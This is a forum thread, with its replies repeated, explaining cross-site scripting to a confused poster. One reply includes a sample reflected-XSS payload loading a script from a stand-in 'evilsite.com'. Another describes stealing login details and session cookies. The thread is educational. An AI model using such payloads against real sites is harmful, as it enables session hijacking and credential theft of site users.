4 ms·

I'm curious why/how XSS is a problem. Can someone describe a practical example of how this has been successfully abused? To me XSS allows a page to be distribut

by bullen 8y ago

I'm curious why/how XSS is a problem. Can someone describe a practical example of how this has been successfully abused? To me XSS allows a page to be distributed over many servers and that's more of a feature than a threat!

justusthane 8y ago
A very simple example could be a website that takes unsanitized forum posts. Include a link to a malicious script in your post, and anyone who visits that page loads the script. For another example, you could imagine a page on a website that includes the contents of a URL query in the response. For example, you visit www.goodsite.com/search.php?q=PurpleZebra, and the page displays "Your search for PurpleZebra did not return any results." Now in the URL replace "PurpleZebra" with "<script src='evilsite.com/script.js'>" and trick someone into clicking on that link - now the error page delivered by goodsite.com includes the script from evilsite.com.
dmitryminkovsky 8y ago
Google made a game that explains it well https://xss-game.appspot.com https://xss-game.appspot.com
Gipetto 8y ago
Maybe you are confusing this with RSS?
whiskeykilo 8y ago
XSS can cause many different kinds of problems: https://hackerone.com/hacktivity?order_direction=DESC&order_field=popular&filter=type%3Apublic&querystring=xss https://hackerone.com/hacktivity?order_direction=DESC&order_...
cosmodisk 8y ago
Try this one: https://trailhead.salesforce.com/en/content/learn/modules/secdev_injection_vulnerabilities/secdev_inject_cross_site_scripting https://trailhead.salesforce.com/en/content/learn/modules/se...
gmiller123456 8y ago
There are actually two different types of CSS, there's a persistent version which loads any time any user loads a certain page, and there's a reflected version which only shows up when a user clicks a mal-crafted link. The persistent version is the most dangerous, as it doesn't rely on the user being incredibly stupid. The reflected version is by far the most common, but since it requires the user to click on a malicious link, isn't usually the easiest to exploit. But either way, they both allow an attacker to display information on a website, when the content didn't originate from that site. An example of how this could be really bad, would be a script that deletes all of the content from the document body and replaces it with a login screen. Rather than actually logging you in, it submits the username and password you entered to a site the attacker has control over. Another, less obvious method, would be a script that captures your session cookie and submits that to another site the attacker has control over. If you were logged in to the site, the attacker could use the session cookie to authenticate to the site as you without logging in.
- bullen 8y ago
  Ok, in that case I don't see how headers solve the problem better than: 1) Don't click on bad URLs. (should be taught at kinder-garden by now) 2) Replace all input <> with <> etc. I'm convinced scripts should not be able to read cookies for other domains? Surely I'm missing something?
  - gmiller123456 8y ago
    The Content-Security-Policy header prevents any new JavaScript from getting executed. Any inline scripts have to have a matching nonce, or SHA hash in the CSP header. With XSS, an attacker can insert content into the web page, but they can't modify the headers, so this effectively stops all XSS without some additional vulnerability being exploited.
AgentME 8y ago
"XSS" usually refers to the vulnerability that happens when user input is treated as HTML and shown on a site in a way that allows the user to inject javascript, not the general practice of a site author intentionally adding a <script> tag pointing to a script on another domain.

by bullen 8y ago

justusthane 8y ago

A very simple example could be a website that takes unsanitized forum posts. Include a link to a malicious script in your post, and anyone who visits that page loads the script. For another example, you could imagine a page on a website that includes the contents of a URL query in the response. For example, you visit www.goodsite.com/search.php?q=PurpleZebra, and the page displays "Your search for PurpleZebra did not return any results." Now in the URL replace "PurpleZebra" with "<script src='evilsite.com/script.js'>" and trick someone into clicking on that link - now the error page delivered by goodsite.com includes the script from evilsite.com.

dmitryminkovsky 8y ago

Google made a game that explains it well https://xss-game.appspot.com https://xss-game.appspot.com

Gipetto 8y ago

Maybe you are confusing this with RSS?

whiskeykilo 8y ago

XSS can cause many different kinds of problems: https://hackerone.com/hacktivity?order_direction=DESC&order_field=popular&filter=type%3Apublic&querystring=xss https://hackerone.com/hacktivity?order_direction=DESC&order_...

cosmodisk 8y ago

Try this one: https://trailhead.salesforce.com/en/content/learn/modules/secdev_injection_vulnerabilities/secdev_inject_cross_site_scripting https://trailhead.salesforce.com/en/content/learn/modules/se...

gmiller123456 8y ago

There are actually two different types of CSS, there's a persistent version which loads any time any user loads a certain page, and there's a reflected version which only shows up when a user clicks a mal-crafted link. The persistent version is the most dangerous, as it doesn't rely on the user being incredibly stupid. The reflected version is by far the most common, but since it requires the user to click on a malicious link, isn't usually the easiest to exploit. But either way, they both allow an attacker to display information on a website, when the content didn't originate from that site. An example of how this could be really bad, would be a script that deletes all of the content from the document body and replaces it with a login screen. Rather than actually logging you in, it submits the username and password you entered to a site the attacker has control over. Another, less obvious method, would be a script that captures your session cookie and submits that to another site the attacker has control over. If you were logged in to the site, the attacker could use the session cookie to authenticate to the site as you without logging in.

bullen 8y ago
Ok, in that case I don't see how headers solve the problem better than: 1) Don't click on bad URLs. (should be taught at kinder-garden by now) 2) Replace all input <> with <> etc. I'm convinced scripts should not be able to read cookies for other domains? Surely I'm missing something?
- gmiller123456 8y ago
  The Content-Security-Policy header prevents any new JavaScript from getting executed. Any inline scripts have to have a matching nonce, or SHA hash in the CSP header. With XSS, an attacker can insert content into the web page, but they can't modify the headers, so this effectively stops all XSS without some additional vulnerability being exploited.

AgentME 8y ago

"XSS" usually refers to the vulnerability that happens when user input is treated as HTML and shown on a site in a way that allows the user to inject javascript, not the general practice of a site author intentionally adding a <script> tag pointing to a script on another domain.